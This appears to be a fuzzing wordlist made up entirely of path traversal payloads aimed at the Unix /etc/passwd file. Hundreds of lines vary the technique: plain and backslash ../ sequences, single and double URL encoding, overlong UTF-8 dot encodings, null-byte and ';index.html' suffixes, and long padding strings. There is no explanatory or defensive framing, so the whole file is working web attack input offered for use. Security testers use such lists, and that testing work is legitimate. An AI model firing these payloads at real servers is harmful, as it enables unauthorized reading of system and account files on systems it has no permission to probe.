%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c/etc/passwd
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c/etc/passwd
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c/etc/passwd
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c/etc/passwd
..%%32%66/etc/passwd
..%%32%66..%%32%66/etc/passwd
..%%32%66..%%32%66..%%32%66/etc/passwd
..%%32%66..%%32%66..%%32%66..%%32%66/etc/passwd
..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66/etc/passwd
..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66/etc/passwd
..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66/etc/passwd
..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66/etc/passwd
%%32%65%%32%65//etc/passwd
%%32%65%%32%65/%%32%65%%32%65//etc/passwd
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd
%%32%65%%32%65%%32%66/etc/passwd
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66/etc/passwd
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66/etc/passwd
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66/etc/passwd
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66/etc/passwd
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66/etc/passwd
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66/etc/passwd
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66/etc/passwd
..%%35%63/etc/passwd
..%%35%63..%%35%63/etc/passwd
..%%35%63..%%35%63..%%35%63/etc/passwd
..%%35%63..%%35%63..%%35%63..%%35%63/etc/passwd
..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63/etc/passwd
..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63/etc/passwd
..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63/etc/passwd
..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63/etc/passwd
%%32%65%%32%65//etc/passwd
%%32%65%%32%65/%%32%65%%32%65//etc/passwd
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//etc/passwd
%%32%65%%32%65%%35%63/etc/passwd
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63/etc/passwd
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63/etc/passwd
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63/etc/passwd
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63/etc/passwd
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63/etc/passwd
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63/etc/passwd
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63/etc/passwd
..//etc/passwd%00index.html
../..//etc/passwd%00index.html
../../..//etc/passwd%00index.html
../../../..//etc/passwd%00index.html
../../../../..//etc/passwd%00index.html
../../../../../..//etc/passwd%00index.html
../../../../../../..//etc/passwd%00index.html
../../../../../../../..//etc/passwd%00index.html
..%2f/etc/passwd%00index.html
..%2f..%2f/etc/passwd%00index.html
..%2f..%2f..%2f/etc/passwd%00index.html
..%2f..%2f..%2f..%2f/etc/passwd%00index.html
..%2f..%2f..%2f..%2f..%2f/etc/passwd%00index.html
..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd%00index.html
..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd%00index.html
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd%00index.html
%2e%2e//etc/passwd%00index.html
%2e%2e/%2e%2e//etc/passwd%00index.html
%2e%2e/%2e%2e/%2e%2e//etc/passwd%00index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd%00index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd%00index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd%00index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd%00index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd%00index.html
%2e%2e%2f/etc/passwd%00index.html
%2e%2e%2f%2e%2e%2f/etc/passwd%00index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd%00index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd%00index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd%00index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd%00index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd%00index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd%00index.html
..%252f/etc/passwd%00index.html
..%252f..%252f/etc/passwd%00index.html
..%252f..%252f..%252f/etc/passwd%00index.html
..%252f..%252f..%252f..%252f/etc/passwd%00index.html
..%252f..%252f..%252f..%252f..%252f/etc/passwd%00index.html
..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd%00index.html
..%252f..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd%00index.html
..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd%00index.html
%252e%252e//etc/passwd%00index.html
%252e%252e/%252e%252e//etc/passwd%00index.html
%252e%252e/%252e%252e/%252e%252e//etc/passwd%00index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd%00index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd%00index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd%00index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd%00index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd%00index.html
%252e%252e%252f/etc/passwd%00index.html
%252e%252e%252f%252e%252e%252f/etc/passwd%00index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd%00index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd%00index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd%00index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd%00index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd%00index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd%00index.html
..\/etc/passwd%00index.html
..\..\/etc/passwd%00index.html
..\..\..\/etc/passwd%00index.html
..\..\..\..\/etc/passwd%00index.html
..\..\..\..\..\/etc/passwd%00index.html
..\..\..\..\..\..\/etc/passwd%00index.html
..\..\..\..\..\..\..\/etc/passwd%00index.html
..\..\..\..\..\..\..\..\/etc/passwd%00index.html
..%5c/etc/passwd%00index.html
..%5c..%5c/etc/passwd%00index.html
..%5c..%5c..%5c/etc/passwd%00index.html
..%5c..%5c..%5c..%5c/etc/passwd%00index.html
..%5c..%5c..%5c..%5c..%5c/etc/passwd%00index.html
..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd%00index.html
..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd%00index.html
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd%00index.html
%2e%2e\/etc/passwd%00index.html
%2e%2e\%2e%2e\/etc/passwd%00index.html
%2e%2e\%2e%2e\%2e%2e\/etc/passwd%00index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\/etc/passwd%00index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\/etc/passwd%00index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\/etc/passwd%00index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\/etc/passwd%00index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\/etc/passwd%00index.html
%2e%2e%5c/etc/passwd%00index.html
%2e%2e%5c%2e%2e%5c/etc/passwd%00index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd%00index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd%00index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd%00index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd%00index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd%00index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd%00index.html
..%255c/etc/passwd%00index.html
..%255c..%255c/etc/passwd%00index.html
..%255c..%255c..%255c/etc/passwd%00index.html
..%255c..%255c..%255c..%255c/etc/passwd%00index.html
..%255c..%255c..%255c..%255c..%255c/etc/passwd%00index.html
..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd%00index.html
..%255c..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd%00index.html
..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd%00index.html
%252e%252e\/etc/passwd%00index.html
%252e%252e\%252e%252e\/etc/passwd%00index.html
%252e%252e\%252e%252e\%252e%252e\/etc/passwd%00index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\/etc/passwd%00index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\/etc/passwd%00index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\/etc/passwd%00index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\/etc/passwd%00index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\/etc/passwd%00index.html
%252e%252e%255c/etc/passwd%00index.html
%252e%252e%255c%252e%252e%255c/etc/passwd%00index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd%00index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd%00index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd%00index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd%00index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd%00index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd%00index.html
..//etc/passwd;index.html
../..//etc/passwd;index.html
../../..//etc/passwd;index.html
../../../..//etc/passwd;index.html
../../../../..//etc/passwd;index.html
../../../../../..//etc/passwd;index.html
../../../../../../..//etc/passwd;index.html
../../../../../../../..//etc/passwd;index.html
..%2f/etc/passwd;index.html
..%2f..%2f/etc/passwd;index.html
..%2f..%2f..%2f/etc/passwd;index.html
..%2f..%2f..%2f..%2f/etc/passwd;index.html
..%2f..%2f..%2f..%2f..%2f/etc/passwd;index.html
..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd;index.html
..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd;index.html
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd;index.html
%2e%2e//etc/passwd;index.html
%2e%2e/%2e%2e//etc/passwd;index.html
%2e%2e/%2e%2e/%2e%2e//etc/passwd;index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd;index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd;index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd;index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd;index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd;index.html
%2e%2e%2f/etc/passwd;index.html
%2e%2e%2f%2e%2e%2f/etc/passwd;index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd;index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd;index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd;index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd;index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd;index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd;index.html
..%252f/etc/passwd;index.html
..%252f..%252f/etc/passwd;index.html
..%252f..%252f..%252f/etc/passwd;index.html
..%252f..%252f..%252f..%252f/etc/passwd;index.html
..%252f..%252f..%252f..%252f..%252f/etc/passwd;index.html
..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd;index.html
..%252f..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd;index.html
..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd;index.html
%252e%252e//etc/passwd;index.html
%252e%252e/%252e%252e//etc/passwd;index.html
%252e%252e/%252e%252e/%252e%252e//etc/passwd;index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd;index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd;index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd;index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd;index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd;index.html
%252e%252e%252f/etc/passwd;index.html
%252e%252e%252f%252e%252e%252f/etc/passwd;index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd;index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd;index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd;index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd;index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd;index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd;index.html
..\/etc/passwd;index.html
..\..\/etc/passwd;index.html
..\..\..\/etc/passwd;index.html
..\..\..\..\/etc/passwd;index.html
..\..\..\..\..\/etc/passwd;index.html
..\..\..\..\..\..\/etc/passwd;index.html
..\..\..\..\..\..\..\/etc/passwd;index.html
..\..\..\..\..\..\..\..\/etc/passwd;index.html
..%5c/etc/passwd;index.html
..%5c..%5c/etc/passwd;index.html
..%5c..%5c..%5c/etc/passwd;index.html
..%5c..%5c..%5c..%5c/etc/passwd;index.html
..%5c..%5c..%5c..%5c..%5c/etc/passwd;index.html
..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd;index.html
..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd;index.html
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd;index.html
%2e%2e\/etc/passwd;index.html
%2e%2e\%2e%2e\/etc/passwd;index.html
%2e%2e\%2e%2e\%2e%2e\/etc/passwd;index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\/etc/passwd;index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\/etc/passwd;index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\/etc/passwd;index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\/etc/passwd;index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\/etc/passwd;index.html
%2e%2e%5c/etc/passwd;index.html
%2e%2e%5c%2e%2e%5c/etc/passwd;index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd;index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd;index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd;index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd;index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd;index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd;index.html
..%255c/etc/passwd;index.html
..%255c..%255c/etc/passwd;index.html
..%255c..%255c..%255c/etc/passwd;index.html
..%255c..%255c..%255c..%255c/etc/passwd;index.html
..%255c..%255c..%255c..%255c..%255c/etc/passwd;index.html
..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd;index.html
..%255c..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd;index.html
..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd;index.html
%252e%252e\/etc/passwd;index.html
%252e%252e\%252e%252e\/etc/passwd;index.html
%252e%252e\%252e%252e\%252e%252e\/etc/passwd;index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\/etc/passwd;index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\/etc/passwd;index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\/etc/passwd;index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\/etc/passwd;index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\/etc/passwd;index.html
%252e%252e%255c/etc/passwd;index.html
%252e%252e%255c%252e%252e%255c/etc/passwd;index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd;index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd;index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd;index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd;index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd;index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd;index.html
\..//etc/passwd
\../\..//etc/passwd
\../\../\..//etc/passwd
\../\../\../\..//etc/passwd
\../\../\../\../\..//etc/passwd
\../\../\../\../\../\..//etc/passwd
\../\../\../\../\../\../\..//etc/passwd
\../\../\../\../\../\../\../\..//etc/passwd
/..\/etc/passwd
/..\/..\/etc/passwd
/..\/..\/..\/etc/passwd
/..\/..\/..\/..\/etc/passwd
/..\/..\/..\/..\/..\/etc/passwd
/..\/..\/..\/..\/..\/..\/etc/passwd
/..\/..\/..\/..\/..\/..\/..\/etc/passwd
/..\/..\/..\/..\/..\/..\/..\/..\/etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/..//etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../..//etc/passwd
